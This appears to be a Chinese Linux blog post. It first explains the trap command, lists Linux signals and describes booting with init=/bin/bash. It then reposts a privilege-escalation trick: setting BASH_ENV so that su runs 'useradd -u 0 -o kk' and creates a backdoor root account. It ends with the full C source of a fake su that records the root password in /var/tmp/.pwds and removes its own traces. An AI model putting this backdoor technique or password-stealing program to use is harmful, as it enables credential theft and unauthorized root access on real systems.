2010年8月

  它有三种形式分别对应三种不同的信号回应方式.
第一种:
trap "commands" signal-list
trap "commands" 数字
当脚本收到signal-list清单内列出的信号时,trap命令执行双引号中的命令.
第二种:
trap signal-list
trap不指定任何命令,接受信号的默认操作.默认操作是结束进程的运行.
第三种:
trap "" "" signal-list
trap命令指定一个空命令串,允许忽视信号.
Linux信号简介
1) SIGHUP 本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联.
2) SIGINT 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出
3) SIGQUIT 和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号.
4) SIGILL 执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行数据段. 堆栈溢出时也有可能产生这个信号.
5) SIGTRAP 由断点指令或其它trap指令产生. 由debugger使用.
6) SIGABRT 程序自己发现错误并调用abort时产生.
7) SIGIOT 在PDP-11上由iot指令产生, 在其它机器上和SIGABRT一样.
8) SIGBUS 非法地址, 包括内存地址对齐(alignment)出错. eg: 访问一个四个字长的整数, 但其地址不是4的倍数.
9) SIGFPE 在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误.
10) SIGKILL 用来立即结束程序的运行. 本信号不能被阻塞, 处理和忽略.
11) SIGUSR1 留给用户使用
12) SIGSEGV 试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据.
13) SIGUSR2 留给用户使用
14) SIGPIPE Broken pipe
15) SIGALRM 时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号.
16) SIGTERM 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出. shell命令kill缺省产生这个信号.
17) SIGCHLD 子进程结束时, 父进程会收到这个信号.
18) SIGCONT 让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用一个handler来让程序在由stopped状态变为继续执行时完成特定的工作. 例如, 重新显示提示符
19) SIGSTOP 停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别: 该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略.
20) SIGTSTP 停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时(通常是Ctrl-Z)发出这个信号
21) SIGTTIN 当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN信号. 缺省时这些进程会停止执行.
22) SIGTTOU 类似于SIGTTIN, 但在写终端(或修改终端模式)时收到.
23) SIGURG 有紧急数据或out-of-band数据到达socket时产生.
24) SIGXCPU 超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/改变
25) SIGXFSZ 超过文件大小资源限制.
26) SIGVTALRM 虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间.
27) SIGPROF 类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的时间.
28) SIGWINCH 窗口大小改变时发出.
29) SIGIO 文件描述符准备就绪, 可以开始进行输入/输出操作.
30) SIGPWR Power failure

都知道init是linux第一个调用程序,他是系统老大哥。
系统启动过程中不起来,以下几点。加载内核或驱动时候错误,那是内核的问题。
1.系统起不来,可以先进去单用户模式,直接在grub 菜单内核后面加1就可以进去,root密码忘记也可以这样修复。
2.系统盘,进入修复模块。chroot什么的,系统有提示的。
3。也是今天要说的。
系统启动过程中,不加载init,跳过init。直接加载一个shell。

和进入单用户类似,内核菜单后面添加内容一些内容。init=/bin/bash。直接指向bash。
因为不经过init,所有系统下的东西都不加载。可见系统也是只读的,没有经过fstab,只读不能修改任何东西的。
手工挂载。输入命令#mount /proc / -o remount,rw.这样就可以修改了
根据刚才系统不能启动错误提示,去修改一些地方。
然后mount /proc / -o remount,ro 还是变为只读吧。因为现在关机的时候,系统不会自动解挂。防止文件损坏。
最后reboot,安全重启就ok了。

转载一编提权文章做解释:

一个linux提权用的技巧,放出来攒RP了。
OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本
一个test:
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"
[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh

[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"
[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk

恩,很好,和我们预期的一样。看看我们怎么利用。

grep su ~/.bash_history
显示此用户有使用su登录root账户的特殊癖好。以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别 名之类的东西。通过getpass来获得root密码,记录,然后去除别名.....关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻 点的管理员可能就放过这个细节了,再输入一遍密码就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不
以下是引用片段:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc

OK,实验结束,实战:
以下是引用片段:
[xiaoyu@localdomain tmp]$ echo ’/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu



解释。
.bash_profile 文件内容

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------
.bashrc文件
# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

----------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------------
每当执行bash脚本,就会调用。默认是=>bash_profile。它在调用别的脚本。

$BASH_ENV变量定义后,直接掉过常规。
/tmp目录默认谁都可以写的,谁都可以调用。在httpd提权时,可以上传文件到这,可惜没有拿下。

export定义环境变量,启动一个shell后会改变。

只用su进去之后,环境变量没有改变。所以调用BASH时,创建用户。

$:su - root  //可以预防,改变环境变量到root。




/*
* kpr-fakesu.c V0.9beta167 ;P
* by koper <[email]koper@linuxmail.org[/email]>


Setting up:
* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
* admin@host:~$ mv .su /var/tmp/.su
* admin@host:~$ cp .bash_profile .wgetrc
* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
* admin@host:~$ logout
* *** LOGIN **


admin@host:~$ su
* Password:
* su: Authentication failure
* Sorry.
* admin@host:~$ su
* Password:
* root@host:~# logout
* admin@host:~$ cat /var/tmp/.pwds
* root:dupcia17
* admin@host:~$
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit" ;)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}

fprintf(stdout,"Password: ");
pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failurenSorry.n");

if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%sn", user, pass);
fclose(fp);
}

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
}